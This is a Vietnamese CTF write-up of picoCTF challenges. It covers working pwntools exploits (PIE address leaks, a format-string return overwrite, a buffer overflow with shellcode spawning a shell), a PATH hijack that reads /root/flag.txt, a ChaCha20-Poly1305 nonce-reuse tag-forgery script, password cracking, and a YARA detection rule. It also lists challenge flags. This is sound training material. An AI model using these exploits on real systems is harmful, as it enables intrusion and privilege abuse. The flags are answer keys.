# PicoCTF

## Binary Exploitation
### PIE TIME

```python
from pwn import *
p = process('./vuln')
p = remote('rescued-float.picoctf.net', 54065)
# gdb.attach(p)
line = p.recvline().strip()
log.info("Received: " + line.decode())
main = int(line.split(b":")[1].strip(), 16)
log.info(f"Main address: {hex(main)}")
win = main - 0x96
log.info(f"win address (main + 0x96): {hex(win)}")
# input()
p.sendline(hex(win))
p.interactive()
# Flag: picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_80c3b8b7}
```
Trong thử thách này, ta lấy được địa chỉ hàm **main**, nên có thể dễ dàng tính ra địa chỉ hàm **win** dựa trên offset.
### PIE TIME 2


Đây là lỗi format string.

**%19$p** có thể lấy địa chỉ của **main + 65**, vì sao là 19? 19 = (0x68 / 8) + 6 = 13 + 6 = 19

```python
from pwn import *
p = process('./vuln')
p = remote('rescued-float.picoctf.net', 49244)
# gdb.attach(p)
payload = b'%19$p'
p.sendline(payload)
line = p.recvline().strip()
log.info("Received: " + line.decode())
main = int(line.split(b":")[1].strip(), 16)
log.info(f"Main + 65 address: {hex(main)}")
win = main - 0xd7
log.info(f"win address (main - 0xd7): {hex(win)}")
# input()
p.sendline(hex(win))
p.interactive()
# Flag: picoCTF{p13_5h0u1dn'7_134k_2509623b}
```
Thử thách này tương tự như thử thách trước: ta chỉ cần leak địa chỉ của **main + 65** rồi tính địa chỉ hàm **win** với offset khác.
### hash-only-1
```
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
8c9735f569157a799a98bd2014190786 /root/flag.txt
ctf-player@pico-chall$ echo '#!/bin/sh' > md5sum
ctf-player@pico-chall$ echo 'cat /root/flag.txt' >> md5sum
ctf-player@pico-chall$ chmod +x md5sum
ctf-player@pico-chall$ export PATH=.:$PATH
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_63a87fa9}
```
### hash-only-2

### Echo Valley


Trong thử thách này có lỗi format string.

Đầu tiên, ta leak một địa chỉ stack bằng **%20$p** (20 = 0x70 / 8 + 6); địa chỉ này nằm trên stack, phía trên RBP 8 byte, nơi main lưu địa chỉ trả về.
Tiếp theo, ta leak địa chỉ tương ứng với **main+18** bằng cách gửi **%21$p** (21 = 0x78 / 8 + 6)(tức là RIP), nhờ đó ta biết được địa chỉ hàm **print_flag**.
Cuối cùng, ta dùng **%hn** và **%c** để thay đổi 2 byte thấp của địa chỉ, trỏ nó về hàm **print_flag**.
```python
from pwn import *
elf = context.binary = ELF('./valley')
p = process()
# p = remote('shape-facility.picoctf.net', 50332)
p.sendline(b'%21$p')
p.recvuntil(b'distance: 0x')
ret_addr = int(p.recvline().decode().strip(),16) - elf.sym.main - 18
elf.address = ret_addr
p.sendline(b'%20$p')
p.recvuntil(b'distance: 0x')
ret_addr = int(p.recvline().decode().strip(),16) - 0x8
p.sendline(b'A'*16 + p64(ret_addr))
payload = b'%'
payload += str(int(hex(elf.sym.print_flag)[-4:],16)).encode()
payload += b'c%8$hn'
p.sendline(payload)
p.sendline(b'exit')
p.interactive()
```

**Flag: picoctf{f1ckl3_f0rmat_f1asc0}**
P.S.: Mình giải thử thách này bằng cách xem một số kỹ thuật trên YouTube và cũng có dùng ChatGPT.
[Format String Exploit](https://www.youtube.com/watch?v=QOgD3jPHyRY)
### Handoff
Checksec:

sources:
```python3=
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64
typedef struct entry {
char name[8];
char msg[64];
} entry_t;
void print_menu() {
puts("What option would you like to do?");
puts("1. Add a new recipient");
puts("2. Send a message to a recipient");
puts("3. Exit the app");
}
int vuln() {
char feedback[8];
entry_t entries[10];
int total_entries = 0;
int choice = -1;
// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
while (true) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
getchar(); // Remove trailing \n
// Add entry
if (choice == 1) {
choice = -1;
// Check for max entries
if (total_entries >= MAX_ENTRIES) {
puts("Max recipients reached!");
continue;
}
// Add a new entry
puts("What's the new recipient's name: ");
fflush(stdin);
fgets(entries[total_entries].name, NAME_LEN, stdin);
total_entries++;
}
// Add message
else if (choice == 2) {
choice = -1;
puts("Which recipient would you like to send a message to?");
if (scanf("%d", &choice) != 1) exit(0);
getchar();
if (choice >= total_entries) {
puts("Invalid entry number");
continue;
}
puts("What message would you like to send them?");
fgets(entries[choice].msg, MSG_LEN, stdin);
}
else if (choice == 3) {
choice = -1;
puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
fgets(feedback, NAME_LEN, stdin);
feedback[7] = '\0';
break;
}
else {
choice = -1;
puts("Invalid option");
}
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output)
vuln();
return 0;
}
```
Trong thử thách này, mình tìm được tổng cộng 2 lỗi.

Nếu choice là số âm thì sao ???

```python3=
#define NAME_LEN 32
```
Có BOF ở đây
Nhưng mình chỉ dùng BOF để giải.
Script:
```python3
from pwn import *
elf = context.binary = ELF('./handoff')
p = elf.process()
# p = remote('shape-facility.picoctf.net', 63645)
gdb.attach(p, gdbscript = '''
b* 0x401014
c
''')
shellcode = asm('''
xor rsi, rsi
push 0
pop rax
xor rdi, rdi
mov rsi, rsp
push 0x64
pop rdx
syscall
jmp rsp
''')
newshellcode = asm('''
mov rax, rax
sub rax,716
jmp rax
''')
jmp_rax = 0x401014
p.sendlineafter(b'app', b'1')
p.sendlineafter(b'name:', b'name')
p.sendlineafter(b'app', b'2')
p.sendlineafter(b'to?', b'0')
p.sendlineafter(b'them?', shellcode)
payload = newshellcode
payload += asm('nop') * (20 - len(payload))
payload += p64(jmp_rax)
p.sendlineafter(b'app', b'3')
p.sendlineafter(b'it:', payload)
p.sendline(asm(shellcraft.sh()))
p.interactive()
```
Cách giải của mình:
- Chọn option 1 để total_entries=1 (>0)
- Vì total_entries > 0, ta có thể dùng option 2 để đặt **shellcode** vào entries[0]
- Chọn option 3 rồi gửi **newshellcode**, shellcode đó sẽ tính toán và nhảy (jmp) về **shellcode** đã đặt ở option 2
- Gửi **shellcraft** rồi nhảy vào nó bằng **jmp rsp** trong **shellcode**

Flag: picoCTF{p1v0ted_ftw_198161ff}
## Cryptography
### EVEN RSA CAN BE BROKEN???

Source code của bài
```python=
from sys import exit
from Crypto.Util.number import bytes_to_long, inverse
from setup import get_primes
e = 65537
def gen_key(k):
"""
Generates RSA key with k bits
"""
p,q = get_primes(k//2)
N = p*q
d = inverse(e, (p-1)*(q-1))
return ((N,e), d)
def encrypt(pubkey, m):
N,e = pubkey
return pow(bytes_to_long(m.encode('utf-8')), e, N)
def main(flag):
pubkey, _privkey = gen_key(1024)
encrypted = encrypt(pubkey, flag)
return (pubkey[0], encrypted)
if __name__ == "__main__":
flag = open('flag.txt', 'r').read()
flag = flag.strip()
N, cypher = main(flag)
print("N:", N)
print("e:", e)
print("cyphertext:", cypher)
exit()
```
Bài này mình sẽ gọi lên server để lấy modulo $n$ cho tới khi nó nhả về số nào dễ phân tích là được. Cụ thể là khi $n$ chẵn thì $n$ sẽ có ước nguyên tố là $2$.

Code:
```python=
from sage.all import *
from Crypto.Util.number import *
n=17246532678658083220140694096303449529447358500920588118733972990964802862390577659079470604473078209069643578272136569905545254468051898895895562811067122
e=65537
c=2379817625017018704982868887004757674629464992031914030413689296883013879835942991299829608929960734257387464009016595448820306059393744395768720312165887
p,q=factor(n)[0][0],factor(n)[1][0]
phi=(p-1)*(q-1)
d=inverse(e,phi)
print(long_to_bytes(pow(c,d,n)).decode())
```
### hashcrack

Bài này em dùng tool: https://crackstation.net/

Làm 3 lần là lấy được flag:

### Guess My Cheese (Part 1)

Sau khi nc tới server thì nó trả về cho mình 1 đống random bullsh*t

Chọn option e thì cần phải gửi đúng loại cheese. Tên các cheese mình sẽ lấy trong file txt ở bài cheese part 2 :+)

Mình chọn random một loại cheese, cho server nhả về ciphertext sau đó lên trang : https://www.dcode.fr/affine-cipher và chạy brute force để tìm lại key $a,b$

Sau đó dùng lại key này để decrypt ciphertext đầu bài:

Flag là `picoCTF{ChEeSy1ff8ae0d}`
### Guess My Cheese (Part 2)

Bài này em đọc gợi ý thì đoán là họ sẽ salt ngẫu nhiên 1 byte vào vị trí bất kì của một từ bất kì trong wordlist rồi tính giá trị hash sha256 của nó. Vậy cách làm của em là bruteforce mọi khả năng có thể có(code gen bằng gpt)
```python=
import itertools
import string
import hashlib
from concurrent.futures import ThreadPoolExecutor, as_completed
import tqdm
# Function to apply Affine Cipher encryption on a word
def affine_encrypt(word, a, b):
alphabet = string.ascii_lowercase
return "".join(
alphabet[(a * alphabet.index(char) + b) % 26] if char in alphabet else char
for char in word.lower()
)
# Generate all Affine cipher variations of a given word
def generate_affine_variations(word):
valid_a_values = [1, 3, 5, 7, 9, 11, 15, 17, 19, 21, 23, 25]
return {
affine_encrypt(word, a, b)
for a in valid_a_values
for b in range(26)
}
# Generate all possible 1-byte hex salts (00 to FF)
all_salts = [bytes([i]) for i in range(256)]
# Read the wordlist
wordlist_path = "cheese_list.txt"
with open(wordlist_path, "r") as file:
wordlist = file.read().splitlines()
# Target SHA256 hash
target_hash = "aad34e44b8ad73b067af59c81c546528aaaeb0954f7b1ab0e8a8defa29056e86"
# Calculate total workload
total_combinations = len(wordlist) * len(all_salts) * 8 * 312
progress = tqdm.tqdm(total=total_combinations, desc="Progress", unit="hashes")
# Parallel processing function
def process_word(word):
for affine_word in generate_affine_variations(word):
affine_bytes = affine_word.encode()
for salt in all_salts:
for i in range(len(affine_bytes) + 1):
modified_word = affine_bytes[:i] + salt + affine_bytes[i:]
if hashlib.sha256(modified_word).hexdigest() == target_hash:
return f"Match found! Original Word: {word}, Affine: {affine_word}, Salt: {salt.hex()}, Pos: {i}"
progress.update(1)
return None
# Parallel execution with early stopping
if __name__ == "__main__":
with ThreadPoolExecutor(max_workers=32) as executor:
future_to_word = {executor.submit(process_word, word): word for word in wordlist}
for future in as_completed(future_to_word):
result = future.result()
if result:
print(result)
exit(0)
print("No match found.")
```
### ChaCha Slide

Source code của bài:
```python=
import secrets
import hashlib
from Crypto.Cipher import ChaCha20_Poly1305
flag = open("flag.txt").read().strip()
def shasum(x):
return hashlib.sha256(x).digest()
key = shasum(shasum(secrets.token_bytes(32) + flag.encode()))
# Generate a random nonce to be extra safe
nonce = secrets.token_bytes(12)
messages = [
"Did you know that ChaCha20-Poly1305 is an authenticated encryption algorithm?",
"That means it protects both the confidentiality and integrity of data!"
]
goal = "But it's only secure if used correctly!"
def encrypt(message):
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
ciphertext, tag = cipher.encrypt_and_digest(message)
return ciphertext + tag + nonce
def decrypt(message_enc):
ciphertext = message_enc[:-28]
tag = message_enc[-28:-12]
nonce = message_enc[-12:]
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
return plaintext
for message in messages:
print("Plaintext: " + repr(message))
message = message.encode()
print("Plaintext (hex): " + message.hex())
ciphertext = encrypt(message)
print("Ciphertext (hex): " + ciphertext.hex())
print()
print()
user = bytes.fromhex(input("What is your message? "))
user_message = decrypt(user)
print("User message (decrypted): " + repr(user_message))
if goal in repr(user_message):
print(flag)
```
Phân tích:
Bài này sử dụng mã hóa ChaCha20-Poly1305 . ChaCha20 là loại mã dòng (stream cipher) và được sử dụng kết hợp với Poly1305 để xác thực thông tin.

Thông tin thêm về cơ chế mã hóa mọi người xem tại: https://tailieu.antoanthongtin.gov.vn/Files/files/site-2/files/Hemadongcoxacthuc.pdf
Phép mã hóa thực hiện XOR khóa dòng với bản rõ để tạo ra bản mã. Quá trình giải mã được thực hiện một bằng cách tương tự với đầu vào bản mã thay thế cho bản rõ. Ở bài này thì key được sử dụng lại với nhiều messages khác nhau cho nên ta có thể lấy bản mã XOR lại với bản rõ để khôi phục keystream và dùng keystream này để mã hóa các bản rõ khác.
$$
P\oplus K = C \rightarrow C \oplus P = K
$$
Ta xem thử bài này sẽ nhả flag khi nào.
```python=
user = bytes.fromhex(input("What is your message? "))
user_message = decrypt(user)
print("User message (decrypted): " + repr(user_message))
if goal in repr(user_message):
print(flag)
```
Bài yêu cầu ta nhập vào một msg và server sẽ giải mã lại msg của ta sau đó check điều kiện `if goal in repr(user_mesage):`
Hàm decrpyt của ta cần 3 tham số đầu vào để decrypt message không bị lỗi:
```python=
def decrypt(message_enc):
ciphertext = message_enc[:-28]
tag = message_enc[-28:-12]
nonce = message_enc[-12:]
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
return plaintext
```
Ta cần tag, cần nonce và ciphertext. Nonce được reuse trong bài và ta có được ciphertext từ keystream đã khôi phục. Vấn đề là làm sao khôi phục lại tag của msg.
Cơ chế tạo tag của Poly1305 như sau:

Key sẽ chia thành 2 phần có độ dài bằng nhau là $r,s$ và lấy phần đầu làm tham số tính toán cho Poly1305, tham khảo paper tại : https://www.cryptrec.go.jp/exreport/cryptrec-ex-2702-2017.pdf

Tag được tính bằng:
\begin{gather*}
tag=Poly1305( m,r,s)\\
=\left(\sum _{i=0}( m_{i} ||0x01) \cdot r^{i} \ \bmod\left( 2^{130} -5\right)\right) +s\bmod 2^{128}
\end{gather*}
Vì dùng chung key nên các $r,s$ của các messages là như nhau nên ta có:
\begin{gather*}
tag=Poly1305( m,r,s)\\
=\left(\sum _{i=0}( m_{i} ||0x01) \cdot r^{i} \ \bmod\left( 2^{130} -5\right)\right) +s\bmod 2^{128}\\
tag_{1} -tag_{2}\\
=\left(\sum _{i=0}( m_{i} ||0x01) \cdot r^{i} \ \bmod\left( 2^{130} -5\right)\right) -\left(\sum _{i=0}( m_{i} '||0x01) \cdot r^{i} \ \bmod\left( 2^{130} -5\right)\right)\bmod 2^{128}\\
\Longrightarrow tag_{1} -tag_{2} +k2^{128} =\left(\sum _{i=0}(( m_{i} ||0x01) -( m_{i} ||0x01)) \cdot r^{i} \ \bmod\left( 2^{130} -5\right)\right)
\end{gather*}
$\displaystyle k$ nhận giá trị từ $\displaystyle -4$ tới $4$ và ta sẽ tìm nghiệm của đa thức vế phải trên $\displaystyle F_{2^{130} -5}$ và kiểm tra xem khi nào đa thức có nghiệm nguyên thì nó chính là $\displaystyle r$ mà ta cần tìm. Khi có được $\displaystyle r$ thì ta có thể khôi phục được $\displaystyle s$, tính lại tag và lấy flag.
```python=
# https://github.com/tl2cents/AEAD-Nonce-Reuse-Attacks/blob/main/README.md
from sage.all import GF, ZZ, PolynomialRing
from Crypto.Cipher.ChaCha20 import ChaCha20Cipher
def _poly1305(msg:bytes, key:bytes, byteorder='little'):
p = 2**130 - 5 # the prime number used in Poly1305
r = int.from_bytes(key[:16], byteorder)
r = r & 0x0ffffffc0ffffffc0ffffffc0fffffff
s = int.from_bytes(key[16:], byteorder)
acc = 0
for i in range(0, len(msg), 16):
block = msg[i:i+16] + b'\x01'
block = int.from_bytes(block, byteorder)
acc = (acc + block) * r % p
acc = (acc + s) % p
acc = int(acc % 2**128)
return acc.to_bytes(16, byteorder)
def poly1305(msg:bytes, key:bytes, byteorder='little'):
p = 2**130 - 5 # the prime number used in Poly1305
r = int.from_bytes(key[:16], byteorder)
r = r & 0x0ffffffc0ffffffc0ffffffc0fffffff
s = int.from_bytes(key[16:], byteorder)
acc = 0
for i in range(0, len(msg), 16):
block = msg[i:i+16] + b'\x01'
block = int.from_bytes(block, byteorder)
acc = (acc + block) * r % p
acc = (acc + s)
acc = int(acc % 2**128)
return acc.to_bytes(16, byteorder)
def construct_poly1305_coeffs(msg:bytes, byteorder='little'):
coeff = []
for i in range(0, len(msg), 16):
block = msg[i:i+16] + b'\x01'
block = int.from_bytes(block, byteorder)
coeff.append(block)
return coeff
def sage_poly1305(msg:bytes, key:bytes, byteorder='little'):
r = int.from_bytes(key[:16], byteorder)
r = r & 0x0ffffffc0ffffffc0ffffffc0fffffff
s = int.from_bytes(key[16:], byteorder)
p = 2**130 - 5
PolynomialRing_GF = PolynomialRing(GF(p), 'x')
x = PolynomialRing_GF.gen()
poly = x * PolynomialRing_GF(construct_poly1305_coeffs(msg, byteorder)[::-1]) + s
val = int(poly(r))
return int(val % 2**128).to_bytes(16, byteorder)
def is_valid_r(r):
return (r & 0x0ffffffc0ffffffc0ffffffc0fffffff) == r
def recover_poly1305_key_from_nonce_reuse(msg1:bytes, tag1:bytes,
msg2:bytes, tag2:bytes,
byteorder='little'):
p = 2**130 - 5
pp = 2**128
PolynomialRing_GF = PolynomialRing(GF(p), 'x')
x = PolynomialRing_GF.gen()
poly1 = x * PolynomialRing_GF(construct_poly1305_coeffs(msg1, byteorder)[::-1])
a1 = int.from_bytes(tag1, byteorder)
poly2 = x * PolynomialRing_GF(construct_poly1305_coeffs(msg2, byteorder)[::-1])
a2 = int.from_bytes(tag2, byteorder)
roots = []
print(f"[+] Searching for the key with poly.degree() = {(poly1 - poly2).degree()}")
for tag1 in range(a1, p + pp, pp):
for tag2 in range(a2, p + pp, pp):
f = (poly1 - poly2) - (tag1 - tag2)
root = f.roots(multiplicities=False)
for r in root:
r = int(r)
if is_valid_r(r):
s = int(a1 - int(poly1(r))) % pp
if (int(poly1(r)) + s) % pp == a1 and (int(poly2(r)) + s) % pp == a2:
roots.append((r, s))
return list(set(roots))
def derive_poly1305_key(key:bytes, nonce:bytes):
assert len(key) == 32 and len(nonce) == 12, "The key should be 32 bytes and the nonce should be 12 bytes"
chacha20_block = ChaCha20Cipher(key, nonce).encrypt(b'\x00'*64)
return chacha20_block[:32]
def chachapoly1305_merger(ad:bytes, ct:bytes):
def pad(data, block_size=16):
if len(data) % block_size == 0:
return data
return data + b'\x00' * (block_size - len(data) % block_size)
la = len(ad)
lc = len(ct)
out = pad(ad) + pad(ct) + la.to_bytes(8, 'little') + lc.to_bytes(8, 'little')
return out
def chachapoly1305_nonce_reuse_attack(ad1:bytes, ct1:bytes, tag1:bytes,
ad2:bytes, ct2:bytes, tag2:bytes):
inp1 = chachapoly1305_merger(ad1, ct1)
inp2 = chachapoly1305_merger(ad2, ct2)
return recover_poly1305_key_from_nonce_reuse(inp1, tag1, inp2, tag2)
def forge_poly1305_tag(ad:bytes, ct:bytes, r:int, s:int):
key = r.to_bytes(16, 'little') + s.to_bytes(16, 'little')
msg = chachapoly1305_merger(ad, ct)
return poly1305(msg, key)
def chachapoly1305_forgery_attack(ad1:bytes, ct1:bytes, tag1:bytes,
ad2:bytes, ct2:bytes, tag2:bytes,
known_plaintext1:bytes,
target_plaintext:bytes, target_ad:bytes):
keys = chachapoly1305_nonce_reuse_attack(ad1, ct1, tag1, ad2, ct2, tag2)
if len(keys) == 0:
assert False, "Failed to recover the key for poly1305, probably the nonce is not reused"
assert len(target_plaintext) <= len(known_plaintext1), "The target plaintext should be shorter than the known plaintext"
keystream = [b1 ^ b2 for b1, b2 in zip(known_plaintext1, ct1)]
target_ct = bytes([b1 ^ b2 for b1, b2 in zip(keystream, target_plaintext)])
for r, s in keys:
target_tag = forge_poly1305_tag(target_ad, target_ct, r, s)
yield target_ct, target_tag
def chachapoly1305_forgery_attack_general(ads:list[bytes], cts:list[bytes], tags:bytes,
known_plaintext1:bytes,
target_plaintext:bytes, target_ad:bytes):
assert len(ads) == len(cts) == len(tags) and len(cts) >= 2, "The length of the associated data, ciphertexts, and tags should be the same and at least 2"
ad1, ct1, tag1 = ads[0], cts[0], tags[0]
keys = []
for ad2, ct2, tag2 in zip(ads[1:], cts[1:], tags[1:]):
if len(keys) == 0:
keys = chachapoly1305_nonce_reuse_attack(ad1, ct1, tag1, ad2, ct2, tag2)
else:
_keys = chachapoly1305_nonce_reuse_attack(ad1, ct1, tag1, ad2, ct2, tag2)
keys = list(set(keys) & set(_keys))
if len(keys) == 1:
break
if len(keys) == 0:
assert False, "Failed to recover the key for poly1305, probably the nonce is not reused"
elif len(keys) > 1:
print(f"[!] Found multiple keys {len(keys) = }, trying to forge the message, use the first key")
print("[!] You can use more nonce-reuse messages to find the unique key")
r, s = keys[0]
print(f"[+] Using Key {r = }, {s = } {len(keys) = }")
assert len(target_plaintext) <= len(known_plaintext1), "The target plaintext should be shorter than the known plaintext"
keystream = [b1 ^ b2 for b1, b2 in zip(known_plaintext1, ct1)]
target_ct = bytes([b1 ^ b2 for b1, b2 in zip(keystream, target_plaintext)])
target_tag = forge_poly1305_tag(target_ad, target_ct, r, s)
return target_ct, target_tag
p1="44696420796f75206b6e6f7720746861742043686143686132302d506f6c793133303520697320616e2061757468656e7469636174656420656e6372797074696f6e20616c676f726974686d3f"
p2="54686174206d65616e732069742070726f746563747320626f74682074686520636f6e666964656e7469616c69747920616e6420696e74656772697479206f66206461746121"
msg1=bytes.fromhex(p1)
msg2=bytes.fromhex(p2)
goal = "But it's only secure if used correctly!"
a1=a2=b""
from pwn import *
HOST,PORT="activist-birds.picoctf.net", 53892
r= remote(HOST,PORT)
response=r.recvuntil(b"What is your message?")
data=response.decode().split("\n")
plain=[]
cipher=[]
for line in data:
if "Plaintext (hex):" in line:
plain.append(bytes.fromhex(line.split(": ")[1]))
if "Ciphertext (hex):" in line:
cipher.append(bytes.fromhex(line.split(": ")[1]))
ct1=cipher[0]
print(ct1)
ct2=cipher[1]
print(ct2)
nonce1=ct1[-12:]
nonce2=ct2[-12:]
assert nonce1==nonce2
c1=ct1[:-28]
t1=ct1[-28:-12]
c2=ct2[:-28]
t2=ct2[-28:-12]
print(chachapoly1305_nonce_reuse_attack(a1,c1,t1,a2,c2,t2))
ads=[a1,a2]
cts=[c1,c2]
tags=[t1,t2]
known_plaintext=msg1
target_plaintext=goal.encode()
target_ad=b""
forge_payload=chachapoly1305_forgery_attack_general(ads,cts,tags,known_plaintext,target_plaintext,target_ad)
payload=forge_payload[0]+forge_payload[1]+nonce1
r.sendline(payload.hex())
print(r.recvall().decode())
```
## Forensics
### RED

Sau khi check metadata thì em phát hiện ra một đoạn thơ
```
Crimson heart, vibrant and bold,
Hearts flutter at your sight.
Evenings glow softly red,
Cherries burst with sweet life.
Kisses linger with your warmth.
Love deep as merlot.
Scarlet leaves falling softly,
Bold in every stroke
```
Đọc không hiểu cái gì nên em sẽ thử check LSB thì phát hiện cái này

Sau khi decode Base64 thì chúng ta có được flag
```
picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}
```
### Ph4nt0m 1ntrud3r

Ta tải file về và có thể dễ dàng thấy được 12 bytes cuối của mỗi packet bị mã hóa bởi base64

Sort các packet theo time thì ta có thể thấy được 7 packet cuối là 7 phần của flag
Decode base64 và ghép lại ta sẽ có được flag
```
picoCTF{1t_w4snt_th4t_34sy_tbh_4r_e5e8c78d}
```
### flags are stepic

Đề bài sẽ có ta tới một trang web gồm các lá cờ của các quốc gia khác nhau

Với hint của đề là tìm một quốc gia không tồn tại và điều tra lá cờ của nó thì sau một khoảng thời gian em đã tìm được lá cờ này

Với tên của đề bài là flags are stepic, vậy chúng ta phải dùng tool stepic để decode flag trên

```
picoCTF{fl4g_h45_fl4g57f48d94}
```
### Event-Viewing

Với dữ kiện đầu tiên là: 1. They installed software using an installer they downloaded online
Sau khi lướt một vài event đầu thì có một event khá nghi ngờ của source MsiInstaller và nó là phần 1 của flag đã được encode bằng Base64

Thì với dữ kiện trên ta đã biết phần mềm đó tên là Totally_Legit_Software, với công cụ find và hint thứ 2. They ran the installed software but it seemed to do nothing thì ta đã phát hiện ra phần thứ 2 của flag.

Thì lần này có một phần mềm lạ nữa là custom_shutdown.exe(idk wat this for)
Với dữ kiện thứ 3 là Now every time they bootup and login to their computer, a black command prompt screen quickly opens and closes and their computer shuts down instantly. Em sẽ find tiếp với từ khóa shutdown và tìm ra được phần thứ 3 của flag.

```
picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_81ba3fe9}
```
### Bitlocker-1

Sử dụng John the ripper để tìm ra hash của password

Sau đó sử dụng hashcat và file rockyou.txt để crack password, và ta có password là jacqueline
Dùng dislocker để decrypt file bằng password vừa cho và ta có được file flag.txt

```
picoCTF{us3_b3tt3r_p4ssw0rd5_pl5!_3242adb1}
```
### Bitlocker-2

Bắt đầu chúng ta sẽ kiểm tra xem file đã bị encrypted từ đâu

Ta có thể thấy file này bị mã hóa từ đầu.
Ta sẽ tìm vị trí của các file fvek key có trong file mem dump

Sau khi thử hết 4 key thí key hoạt động là FVEK: 5b6ff64e4a0ee8f89050b7ba532f6256

sau khi mount thì sẽ thấy 1 file flag.txt và đó là nơi chứa flag của bài
```
picoCTF{B1tl0ck3r_dr1v3_d3crypt3d_9029ae5b}
```
## General Skills
### Fix me 1
- Thử thách này chỉ cần sửa syntax..
```rs=
use xor_cryptor::XORCryptor;
fn main() {
// Key for decryption
let key = String::from("CSUCKS"); // Fixed missing semicolon
// Encrypted flag values
let hex_values = [
"41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25",
"7f", "5a", "60", "50", "11", "38", "1f", "3a", "60", "e9", "62", "20", "0c", "e6", "50", "d3", "35"
];
// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
// Create decryption object
let res = XORCryptor::new(&key);
if res.is_err() {
return; // Fixed return statement
}
let xrc = res.unwrap();
// Decrypt flag and print it out
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
println!("{}", String::from_utf8_lossy(&decrypted_buffer)); // Fixed println!
}
```
### Fix me 2
```rs=
use xor_cryptor::XORCryptor;
fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {
// Key for decryption
let key = String::from("CSUCKS");
// Editing our borrowed value
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");
// Create decryption object
let res = XORCryptor::new(&key);
if res.is_err() {
return; // Fixed return statement
}
let xrc = res.unwrap();
// Decrypt flag and append to the mutable String
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
println!("{}", borrowed_string);
}
fn main() {
// Encrypted flag values
let hex_values = [
"41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25",
"0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9", "42", "5b"
];
// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
let mut party_foul = String::from("Using memory-unsafe languages is a: ");
decrypt(encrypted_buffer, &mut party_foul); // Passing a mutable reference
}
```
### Fix me 3 :
```rs=
use xor_cryptor::XORCryptor;
fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {
// Key for decryption
let key = String::from("CSUCKS");
// Editing our borrowed value
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");
// Create decryption object
let res = XORCryptor::new(&key);
if res.is_err() {
return;
}
let xrc = res.unwrap();
// Decrypt the flag
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
// Append the decrypted flag
borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
println!("{}", borrowed_string);
}
fn main() {
// Encrypted flag values
let hex_values = [
"41", "30", "20", "63", "4a", "45", "54", "76", "12", "90", "7e", "53",
"63", "e1", "01", "35", "7e", "59", "60", "f6", "03", "86", "7f", "56",
"41", "29", "30", "6f", "08", "c3", "61", "f9", "35"
];
// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
let mut party_foul = String::from("Using memory unsafe languages is a: ");
decrypt(encrypted_buffer, &mut party_foul);
}
```
### YARA RULES
- Thử thách cho hint là viết 2 rules ,1 cho packed file ,1 cho unpacked file. Sau khi test đi test lại thì **unpacked file** được check khá đơn giản nên mình có script như sau :
```python=
import "pe"
rule upx_packed{
meta:
description = "Likely UPX packed based on UPX strings and RWX sections"
author = "Your Name"
last_modified = "2025-03-08"
type = "suspicious"
version = "1.0"
strings:
$UPX = "UPX"
condition:
pe.is_pe
and $UPX
and (for any i in (0..pe.number_of_sections-1): (pe.sections[i].name contains "UPX")
or for any i in (0..pe.number_of_sections-1): ((pe.sections[i].characteristics & pe.SECTION_MEM_EXECUTE) and (pe.sections[i].characteristics & pe.SECTION_MEM_WRITE)))
}
rule upx_unpacked
{
meta:
description = "Detects unpacked UPX binaries based on residual strings and signatures"
author = "Your Name"
last_modified = "2025-03-08"
type = "suspicious"
version = "1.0"
strings:
// Residual strings from UPX packing process
$upx_residue_string2 = "Oops! Debugger Detected. Fake malware will try to hide itself (but not really)." wide ascii
$upx_residue_string3 = "No debugger was present. Exiting successfully." wide ascii
condition:
pe.is_pe and
pe.entry_point != 0 and
(
$upx_residue_string2 or $upx_residue_string3
)
}
```
## Reverse Engineering
### Flag Hunters
Đề bài:
* Chương trình duyệt qua từng dòng của đoạn văn bản từ trên xuống dưới để in ra màn hình, trong đó có một đoạn đã được chèn flag.
* Nhưng vì nó bắt đầu chạy ở một điểm dưới flag nên flag sẽ không được in ra.
* Được phép nhập input ở chỗ ```CROWD``` chỉ một lần duy nhất, sau đó chương trình sẽ đi làm một vài hành động replace các vị trí đặc biệt được đánh dấu bởi các lệnh RETURN.
* Khi gặp RETURN x thì sẽ nhảy về dòng x để chạy tiếp
Solution:
* Đọc kĩ đoạn ```.split(';')``` nó có tách các phần trên dòng mà ngăn cách bởi dấu ```;``` và duyệt từng cái.
